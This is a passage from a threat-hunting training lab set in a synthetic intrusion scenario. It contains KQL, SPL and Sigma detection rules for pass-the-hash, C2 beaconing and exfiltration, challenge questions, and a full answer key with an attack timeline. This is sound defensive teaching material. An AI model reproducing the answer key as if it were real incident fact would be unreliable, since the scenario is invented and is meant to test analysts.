// Severity: High | Run: Every 15 minutes | Lookback: 15 minutes
SecurityEvent
| where TimeGenerated > ago(15m)
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where KeyLength == 0
| where Account !endswith "$"
| where Account !startswith "svc-"
| where IpAddress startswith "10.50.1."
    or IpAddress startswith "10.50.50."
| where Computer has_any ("DC01", "DC02", "FS01", "DB01")
| project TimeGenerated, Account, IpAddress, Computer,
          LogonProcessName, WorkstationName
// Correlation: Pass-the-Hash from Workstation to Server
// Schedule: Every 15 minutes | Window: 15 minutes
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
    Logon_Type=3
    Authentication_Package=NTLM
    Key_Length=0
    NOT Account_Name="*$"
    NOT Account_Name="svc-*"
    (Source_Network_Address="10.50.1.*" OR Source_Network_Address="10.50.50.*")
    (ComputerName="DC01*" OR ComputerName="DC02*"
     OR ComputerName="FS01*" OR ComputerName="DB01*")
    earliest=-15m latest=now
| table _time Account_Name Source_Network_Address ComputerName
title: Pass-the-Hash from Workstation to Critical Server
id: SYNTHETIC-SIGMA-001
status: experimental
description: >
    Detects NTLM logon with KeyLength 0 from workstation subnets
    to domain controllers, file servers, or database servers.
    Derived from Aegis Financial Group threat hunt TH-2026-0042.
references:
    - https://attack.mitre.org/techniques/T1550/002/
author: Aegis SOC (SYNTHETIC)
date: 2026/03/17
tags:
    - attack.lateral_movement
    - attack.t1550.002
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624
        LogonType: 3
        AuthenticationPackageName: 'NTLM'
        KeyLength: 0
    filter_machine_accounts:
        TargetUserName|endswith: '$'
    filter_service_accounts:
        TargetUserName|startswith: 'svc-'
    condition: selection and not filter_machine_accounts
               and not filter_service_accounts
falsepositives:
    - Legacy applications using NTLMv1
    - Misconfigured service accounts
level: high

Step 3: Write New Hunt Hypotheses

Based on your findings, generate hypotheses for follow-up hunts.

New Hypothesis Development

Use the ABLE framework to generate follow-up hypotheses:

  • Actor: What else might SYNTHETIC-LEOPARD do based on known TTPs?
  • Behavior: What persistence mechanisms might they have installed?
  • Lateral: Are there other compromised accounts we haven't found?
  • Exfiltration: Was data staged before exfil? Are there other exfil channels?

Suggested Follow-up Hypotheses:

ID Hypothesis Priority Rationale
H5 The adversary installed persistence on DC01 (Golden Ticket, scheduled task, or registry run key) CRITICAL They had admin access to the DC
H6 Additional accounts beyond kpatel may be compromised — look for pass-the-ticket or Kerberoasting HIGH Admin access to DC enables credential harvesting
H7 The adversary accessed additional databases or file shares beyond what we detected HIGH SMB access to FS01 may have been for recon
H8 The C2 infrastructure (192.0.2.41) may have secondary failover IPs MEDIUM Advanced actors use resilient C2 infrastructure

Challenge Questions — Exercise 5

Challenge 5.1

Q: You need to present these findings to the Board of Directors (non-technical audience). Rewrite the Executive Summary in three sentences without using any technical jargon.

A: "Our security team discovered that an unauthorized individual gained access to an employee's account and used it to access our financial database over the past week. Approximately 224 megabytes of financial data were copied and sent to an external system controlled by the attacker. We are activating our incident response procedures immediately and recommend engaging external forensics experts and legal counsel."

Challenge 5.2

Q: What are the key differences between a threat hunt report and an incident response report? When does a hunt become an IR?

A: A threat hunt report documents proactive searching: hypothesis, methodology, findings (which may be null), and recommended detections. An IR report documents reactive response: incident timeline, containment actions, eradication steps, recovery, and lessons learned. A hunt becomes an IR the moment confirmed malicious activity is identified that requires containment. In this lab, the hunt should have transitioned to IR as soon as the active C2 beacon was confirmed in Exercise 3. The hunt report becomes input to the IR process.

Challenge 5.3

Q: Write a Sigma rule for DNS beaconing detection that would catch the cdn-analytics.example.com pattern.

A:

title: Suspicious DNS TXT Query with Base64 Subdomain
id: SYNTHETIC-SIGMA-002
status: experimental
description: >
    Detects DNS TXT queries where the subdomain contains
    Base64-like patterns (only alphanumeric and +/= characters),
    potentially indicating DNS tunneling or C2 communication.
author: Aegis SOC (SYNTHETIC)
date: 2026/03/17
tags:
    - attack.command_and_control
    - attack.t1071.004
    - attack.exfiltration
    - attack.t1048.003
logsource:
    category: dns
detection:
    selection:
        query_type: 'TXT'
    filter_subdomain_pattern:
        query|re: '^[A-Za-z0-9+/=]{10,}\.'
    condition: selection and filter_subdomain_pattern
falsepositives:
    - DKIM verification queries
    - SPF/DMARC lookups
    - Some CDN and analytics services
level: medium


Bonus Challenges

Extra Credit

These challenges extend the lab for advanced practitioners.

Bonus 1: Automated Beacon Detection Pipeline

Write a KQL query that automatically scans all external connections for beacon patterns without specifying a destination IP.

Solution
// Automated beacon scanner — all external connections
let min_connections = 50;
let max_cov = 0.15;  // 15% jitter threshold
NetworkCommunicationEvents
| where TimeGenerated > ago(24h)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| order by LocalIP, RemoteIP, TimeGenerated asc
| serialize
| extend PrevTime = prev(TimeGenerated, 1),
         PrevLocal = prev(LocalIP, 1),
         PrevRemote = prev(RemoteIP, 1)
| where LocalIP == PrevLocal and RemoteIP == PrevRemote
| extend IntervalSec = datetime_diff('second', TimeGenerated, PrevTime)
| where IntervalSec between (5 .. 3600)
| summarize
    Connections = count(),
    MeanInterval = round(avg(IntervalSec), 1),
    StdevInterval = round(stdev(IntervalSec), 2),
    MinInterval = min(IntervalSec),
    MaxInterval = max(IntervalSec)
  by LocalIP, RemoteIP
| where Connections > min_connections
| where StdevInterval > 0
| extend CoV = round(StdevInterval / MeanInterval, 4)
| where CoV < max_cov
| extend BeaconScore = round(1.0 - CoV, 2)  // Higher = more regular
| project LocalIP, RemoteIP, Connections, MeanInterval,
          StdevInterval, CoV, BeaconScore
| order by BeaconScore desc

Bonus 2: Cross-Platform Query Translation

Translate this SPL query to KQL. The query detects unusual parent-child process relationships.

index=sysmon EventCode=1
| eval ParentName=mvindex(split(ParentImage, "\\"), -1)
| eval ChildName=mvindex(split(Image, "\\"), -1)
| stats count AS Frequency by ParentName ChildName
| eventstats sum(Frequency) AS TotalChildren by ParentName
| eval Percentage = round(Frequency / TotalChildren * 100, 2)
| where Percentage < 1.0 AND Frequency < 5
| sort Percentage
| head 20
KQL Translation
SysmonEvent
| where EventID == 1
| extend ParentName = tostring(split(ParentImage, "\\")[-1])
| extend ChildName = tostring(split(Image, "\\")[-1])
| summarize Frequency = count() by ParentName, ChildName
| join kind=inner (
    SysmonEvent
    | where EventID == 1
    | extend ParentName = tostring(split(ParentImage, "\\")[-1])
    | summarize TotalChildren = count() by ParentName
) on ParentName
| extend Percentage = round(todouble(Frequency) / TotalChildren * 100, 2)
| where Percentage < 1.0 and Frequency < 5
| order by Percentage asc
| take 20

Bonus 3: Hunt Metrics Dashboard

Write queries to measure hunt program effectiveness.

// Hunt program metrics — coverage analysis
let attack_techniques = datatable(TechniqueID: string, TechniqueName: string)
[
    "T1078", "Valid Accounts",
    "T1550.002", "Pass the Hash",
    "T1021.001", "Remote Desktop Protocol",
    "T1021.002", "SMB/Windows Admin Shares",
    "T1071.001", "Web Protocols (C2)",
    "T1071.004", "DNS (C2)",
    "T1048.003", "Exfil Over Unencrypted Protocol",
    "T1041", "Exfil Over C2 Channel",
    "T1059.001", "PowerShell",
    "T1105", "Ingress Tool Transfer",
    "T1033", "System Owner Discovery",
    "T1018", "Remote System Discovery",
    "T1069.002", "Domain Groups Discovery"
];
let detected_techniques = datatable(TechniqueID: string, DetectedBy: string)
[
    "T1078", "Exercise 1 - Baseline",
    "T1550.002", "Exercise 2 - PtH",
    "T1021.001", "Exercise 2 - RDP Pivot",
    "T1071.001", "Exercise 3 - HTTP Beacon",
    "T1071.004", "Exercise 3 - DNS Beacon",
    "T1041", "Exercise 4 - HTTPS Exfil",
    "T1048.003", "Exercise 4 - DNS Exfil",
    "T1033", "Exercise 1 - Process",
    "T1018", "Exercise 1 - Process",
    "T1069.002", "Exercise 1 - Process",
    "T1105", "Exercise 1 - Process"
];
attack_techniques
| join kind=leftouter detected_techniques on TechniqueID
| extend Detected = isnotempty(DetectedBy)
| summarize
    TotalTechniques = count(),
    DetectedCount = countif(Detected),
    MissedCount = countif(not(Detected)),
    Coverage = round(countif(Detected) * 100.0 / count(), 1)
// Hunt program metrics — technique coverage
| makeresults
| eval techniques="T1078:Valid Accounts:Detected,
    T1550.002:Pass the Hash:Detected,
    T1021.001:RDP:Detected,
    T1021.002:SMB:Not Detected,
    T1071.001:Web C2:Detected,
    T1071.004:DNS C2:Detected,
    T1048.003:DNS Exfil:Detected,
    T1041:C2 Exfil:Detected,
    T1059.001:PowerShell:Not Detected,
    T1105:Tool Transfer:Detected,
    T1033:User Discovery:Detected,
    T1018:System Discovery:Detected,
    T1069.002:Group Discovery:Detected"
| makemv delim="," techniques
| mvexpand techniques
| rex field=techniques "(?<TechID>[^:]+):(?<TechName>[^:]+):(?<Status>[^:]+)"
| stats count AS Total,
        count(eval(Status="Detected")) AS DetectedCount
| eval Coverage = round(DetectedCount / Total * 100, 1) . "%"
| eval MissedCount = Total - DetectedCount

Answer Key

Complete Answer Key — Exercise Summaries

Exercise 1: Baseline Hunting

Key Findings:

  • AEGIS\kpatel had 4 off-hours logins from 3 previously unseen sources
  • New login sources included: external IP (192.0.2.41), dev server (10.50.20.5), CFO workstation (10.50.50.5), database server (10.50.10.20)
  • Process execution on WS-HR-042 showed a textbook recon chain: whoami → nltest → net group → C2 implant → certutil download
  • ATT&CK: T1078, T1033, T1018, T1069.002, T1204.002, T1059, T1105

Exercise 2: Lateral Movement

Key Findings:

  • Pass-the-hash confirmed: NTLM auth with KeyLength=0 from workstation to DC01, FS01, DB01
  • RDP pivot chain: WS-HR-042 → WS-CFO-01 → DB01
  • Explicit credential usage (runas) to escalate from kpatel to admin-kpatel
  • SMB lateral movement from CFO workstation to database server (ports 445, 135)
  • ATT&CK: T1550.002, T1021.001, T1021.002, T1078.002

Exercise 3: C2 Beacon Detection

Key Findings:

  • HTTPS beacon: 10.50.1.42 → 192.0.2.41:443, ~60-second interval, CoV = 0.053
  • DNS beacon: 10.50.1.42 → cdn-analytics.example.com, TXT queries with Base64 subdomains every 30 seconds
  • Consistent small payload sizes (~245 bytes sent per HTTPS beacon)
  • ATT&CK: T1071.001, T1071.004, T1132.001, T1573.002

Exercise 4: Data Exfiltration

Key Findings:

  • HTTPS bulk exfiltration: 223 MB from WS-CFO-01 to 192.0.2.41 in 5 transfers over 1 hour
  • DNS tunneling exfiltration: ~106 KB from WS-HR-042 via cdn-analytics.example.com over 5 days
  • Upload/download ratio for exfil connection: 55,925:1 (nearly all outbound)
  • Exfiltration occurred off-hours (20:00–21:00 UTC)
  • ATT&CK: T1041, T1048.003

Exercise 5: Report

Key Elements:

  • 15 MITRE ATT&CK techniques mapped across 8 tactics
  • Attack timeline: 5+ day dwell time (2026-03-12 to 2026-03-17)
  • Attack path: HR workstation → Domain Controller → CFO workstation → Database Server
  • 3 detection rules generated (PtH, DNS beaconing, exfil volume)
  • 4 follow-up hunt hypotheses documented

Complete Attack Timeline

Date/Time (UTC) Event ATT&CK
2026-03-12 03:30 cmd.exe spawned from Outlook on WS-HR-042 T1204.002
2026-03-12 03:30 Recon: whoami, nltest, net group T1033, T1018, T1069.002
2026-03-12 03:32 C2 implant (svcupdate.exe) executed T1059
2026-03-12 03:33 HTTPS beacon starts (60s interval) T1071.001
2026-03-12 03:35 DNS beacon starts (30s interval) T1071.004
2026-03-12 03:45 PtH to DC01 T1550.002
2026-03-12 03:48 runas to admin-kpatel T1078.002
2026-03-12 04:10 RDP to WS-CFO-01 T1021.001
2026-03-12 04:11 PtH from WS-CFO-01 to FS01 T1550.002, T1021.002
2026-03-13 01:20 certutil download of update.bin T1105
2026-03-13 01:22 admin-kpatel logon from WS-HR-042 T1078.002
2026-03-14 19:42 SMB from WS-CFO-01 to DB01 T1021.002
2026-03-14 19:45 kpatel logon to DB01 T1078
2026-03-14 20:00–21:00 Bulk exfiltration (223 MB) via HTTPS T1041
2026-03-12–17 Ongoing DNS tunneling exfil (~106 KB) T1048.003

Cross-References

This lab connects to the following Nexus SecOps content:

Chapters

Tools & References

MITRE ATT&CK Techniques Covered

Technique ID Tactic Exercise
Valid Accounts T1078 Initial Access, Persistence 1, 2
Domain Accounts T1078.002 Initial Access 1, 2
User Execution: Malicious Link T1204.002 Execution 1
Command-Line Interface T1059.001 Execution 1
System Owner/User Discovery T1033 Discovery 1
Remote System Discovery T1018 Discovery 1
Permission Groups Discovery T1069.002 Discovery 1
Pass the Hash T1550.002 Lateral Movement 2
Remote Desktop Protocol T1021.001 Lateral Movement 2
SMB/Windows Admin Shares T1021.002 Lateral Movement 2
Ingress Tool Transfer T1105 Command and Control 1
Web Protocols T1071.001 Command and Control 3
DNS T1071.004 Command and Control 3
Standard Encoding T1132.001 Command and Control 3
Exfiltration Over C2 Channel T1041 Exfiltration 4
Exfiltration Over Alternative Protocol T1048.003 Exfiltration 4

Key Takeaway

Threat hunting is not about finding alerts — it is about finding what alerts miss. The queries in this lab detected a full intrusion lifecycle that generated zero automated alerts. Every hunt should produce either confirmed findings or new detection rules that close coverage gaps.